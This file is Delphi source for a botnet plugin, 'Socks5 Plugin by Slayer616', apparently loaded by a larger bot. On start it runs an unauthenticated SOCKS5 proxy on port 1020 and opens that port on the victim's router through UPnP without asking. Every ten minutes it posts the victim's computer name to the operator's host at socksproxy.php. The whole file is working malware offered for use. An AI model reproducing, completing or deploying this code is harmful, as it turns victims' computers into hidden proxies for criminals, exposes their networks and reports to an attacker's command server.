library socks5;

uses
  Windows,
  IdSocksServer,
  wininet,
  winsock,
  comobj,
  activex,
  sysutils;

{
  Socks5 Plugin by Slayer616
}
type
  TInfo = record
    pMainHost:PChar;
    pMainPath:PChar;
    pFilename:PChar;
    pStrStartupK:PChar;
    pMutex:PChar;
    pPlugPass:PChar;
    pVersion:PChar;
    pCurrentPath:PChar;
    bInstall:Boolean;
    bStartup:Boolean;
    iConnectTimer:Integer;
  end;
var
  IdSocksServer1: TIdSocksServer;
  strPath:String;
  strHost:String;

function SendToHttp(strDomain, strSubDomain, strData: string):string;
var
  pSession, pConnect, pRequest: Pointer;
  strResult, strBuffer: String;
  arrBuff: Array[0..1023] of byte;
  dwRead:Cardinal;
begin
  Result := '';
  pSession := InternetOpen(pchar('umbra'),0,nil,nil,0);
  if pSession <> nil then begin
    pConnect := InternetConnect(pSession, pchar(strDomain), 80, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);
    if pConnect <> nil then begin
      pRequest := HttpOpenRequest(pConnect, PChar('POST'), PChar(strSubDomain),'HTTP/1.0', nil, nil, 0, 0);
      if pRequest <> nil then begin
        HttpSendRequest(pRequest, 'Content-Type: application/x-www-form-urlencoded', 47, PChar(strData), Length(strData));
        strResult := '';
        repeat
          InternetReadFile(pRequest,@arrBuff[0],1024,dwRead);
          SetLength(strBuffer, dwRead);
          MoveMemory(@strBuffer[1],@arrBuff[0],dwRead);
          strResult := strResult + strBuffer;
        until dwRead = 0;
        Result := strResult;
        InternetCloseHandle(pRequest);
      end;
      InternetCloseHandle(pConnect);
    end;
    InternetCloseHandle(pSession);
  end;
end;

function GetComputerNetName: string;
var
  buffer: array[0..255] of char;
  size: dword;
begin
  size := 256;
  if GetComputerName(buffer, size) then
    Result := buffer
  else
    Result := ''
end;

procedure NotifierThread;
var
  strData         :string;
begin
  repeat
    strData := SendToHttp(strHost, strPath, 'mode=1&UID=' + GetComputerNetName);
    If pos('ERR',strData)>0 then begin
      IdSocksServer1.Active := False;
      break;
    end;
    Sleep(1000*60*10);
  until 1 = 3;
end;

Function GetIPAddress():String;
type
  pu_long = ^u_long;
var
  varTWSAData : TWSAData;
  varPHostEnt : PHostEnt;
  varTInAddr : TInAddr;
  namebuf : Array[0..255] of char;
begin
  Result := '';
  If WSAStartup($101,varTWSAData) <> 0 Then
  Else Begin
    gethostname(namebuf,sizeof(namebuf));
    varPHostEnt := gethostbyname(namebuf);
    varTInAddr.S_addr := u_long(pu_long(varPHostEnt^.h_addr_list^)^);
    Result := inet_ntoa(varTInAddr);
  End;
  WSACleanup;
end;

Procedure AddUPnPEntry( Port : Integer;  const Name : ShortString);
Var
  Nat   : Variant;
  Ports : Variant;
Begin
  try
    Nat := CreateOleObject('HNetCfg.NATUPnP');
    Ports := Nat.StaticPortMappingCollection;
    Ports.Add(port, 'TCP', port, GetIPAddress, True, name);
  except
  end;
End;

procedure StartServer;stdcall;
var
  dwThread        :Cardinal;
begin
  OleInitialize(nil);
  AddUPnPEntry(1020,'SOCKS');
  IdSocksServer1 := TIdSocksServer.Create;
  IdSocksServer1.DefaultPort := 1020;
  IdSocksServer1.AllowSocks4 := False;
  IdSocksServer1.AllowSocks5 := True;
  IdSocksServer1.NeedsAuthentication := False;
  IdSocksServer1.Active := True;
  CreateThread(nil,0,@NotifierThread,nil,0,dwThread);
end;

procedure PluginStart(strData:Pointer); stdcall; export;
var
  mInfo           :TInfo;
  dwThread        :Cardinal;
begin
  MInfo := TInfo(strData^);
  strPath := copy(mInfo.pMainPath,1,LastDelimiter('/',MInfo.pMainPath)) + 'socksproxy.php';
  strHost := Minfo.pMainHost;
  CreateThread(nil,0,@StartServer,nil,0,dwThread);
end;

exports
  PluginStart;

begin
end.
 